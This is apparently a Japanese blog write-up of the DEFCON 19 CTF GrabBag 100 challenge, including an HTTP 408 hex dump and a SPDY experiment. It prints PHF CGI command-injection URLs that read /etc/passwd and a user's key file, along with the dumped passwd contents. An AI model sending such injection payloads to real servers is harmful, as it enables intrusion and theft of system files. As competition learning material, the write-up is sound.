DEFCON 19 CTF GrabBag 100(gb100) writeup – カンニング版
問題文: pwn583.ddtek.biz:5932
普通に接続しても何もでないので
ブラウザで接続してみる。
すると以下のレスポンスが返ってきました。
0000 00 1f 16 1e 5e 50 00 19 e2 40 64 75 08 00 45 00 ....^P...@du..E.408 Too slow？
0010 01 43 97 5e 40 00 2f 06 11 eb 8c c5 d4 a5 7d ce .C.^@./.......}.
0020 c2 32 17 2c 2f 34 ce b6 67 e7 01 bc 33 c4 50 18 .2.,/4..g...3.P.
0030 00 6c d8 ef 00 00 48 54 54 50 2f 31 2e 31 20 34 .l....HTTP/1.1 4
0040 30 38 20 54 6f 6f 20 73 6c 6f 77 0d 0a 44 61 74 08 Too slow..Dat
0050 65 3a 20 4d 6f 6e 2c 20 32 33 20 4d 61 79 20 32 e: Mon, 23 May 2
0060 30 30 35 20 32 32 3a 33 38 3a 33 34 20 47 4d 54 005 22:38:34 GMT
0070 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 ..Server: Apache
0080 2f 31 2e 33 2e 33 2e 37 20 28 55 6e 69 78 29 20 /1.3.3.7 (Unix)
0090 28 52 65 64 2d 48 61 74 2f 4c 69 6e 75 78 29 0d (Red-Hat/Linux).
00a0 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 .Last-Modified:
00b0 57 65 64 2c 20 30 38 20 4a 61 6e 20 32 30 30 33 Wed, 08 Jan 2003
00c0 20 32 33 3a 31 31 3a 35 35 20 47 4d 54 0d 0a 45 23:11:55 GMT..E
00d0 74 61 67 3a 20 22 33 66 38 30 66 2d 31 62 36 2d tag: "3f80f-1b6-
00e0 33 65 31 63 62 30 33 62 22 0d 0a 41 63 63 65 70 3e1cb03b"..Accep
00f0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d t-Ranges: bytes.
0100 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content-Length:
0110 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 0..Connection:
0120 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 close..Content-T
0130 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 ype: text/html;
0140 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d charset=UTF-8...
0150 0a
Server: Apache/1.3.3.7？
気になった単語で調べてみると
このレスポンスは色々なところで例として紹介されていました。
ココとか。
思いつく単語を回答に使ってみるも不正解。。。
そして、レスポンスコード408はココに書かれている通り
Request Timeoutを表す。うーん。。。
遅すぎるよ。と言われているので通信の高速化について調べてみた結果
「The Chromium Project」に「SPDY」というものがあることを発見。
ということでChromeをSDPYモードで起動してみる。<chrome --use-spdy=no-sslそして、再度、ブラウザにて接続。
なんか出た。
「充分早いけど、充分良いわけではない。」
だそうです。
まだ、何か足りないようです。
色々文字列をくっつけてリクエストしてみると。
以下のような変化あり。
「私がそんなバカだと思っているのか？」
と軽く怒られました。
そんなことじゃないってことですね。
といったところでCTF中はこの先に進むことはできませんでした。
ここからはwriteupを公開されていた人のサイトを参考に。
えーまーカンニングですねｗ
実はこのサーバはPHFの脆弱性を抱えていたそうです。
その脆弱性はphfの脆弱性で1996年に公表されたもの…
ということでこの脆弱性を利用したリクエスト「/etc/passwd」を読み出し。pwn583.ddtek.biz:5932/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd
以下のように内容を読みだせたようです。root:x:0:0:root:/root:/bin/bash一番下のユーザがいかにもですね。
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Tkf6zKZd:x:1000:1000::/home/Tkf6zKZd:/bin/sh
次にこのユーザのホームディレクトリにあるファイルを読みだす。
そのときのリクエストは以下の通りだそうです。pwn583.ddtek.biz:5932/cgi-bin/phf?Qalias=%0A/bin/cat%20/home/Tkf6zKZd/ke*するとkeyファイルの中身が表示されると。that's fast enough now go take a rest
答えは
「that’s fast enough now go take a rest」
なるほど。
keyという文字列を含むリクエストをしたとき
はじくようなメッセージを返してきたのはこのためだったんですね。
言われてみれば100の問題って感じはします。
でも、ここに辿り着けなかったんですよね。
普通に検査としてこのサーバの相手をしたのであれば落とせた気がします。
CTF中は、そもそも頭の中に「脆弱性を利用」なんてなかったです。
ほんと、猛烈に反省です。
最新っぽい技術「SPDY」を使った上で15年ほど前の脆弱性を利用する・
ほんと、よくできた問題だとと思います。
脱帽。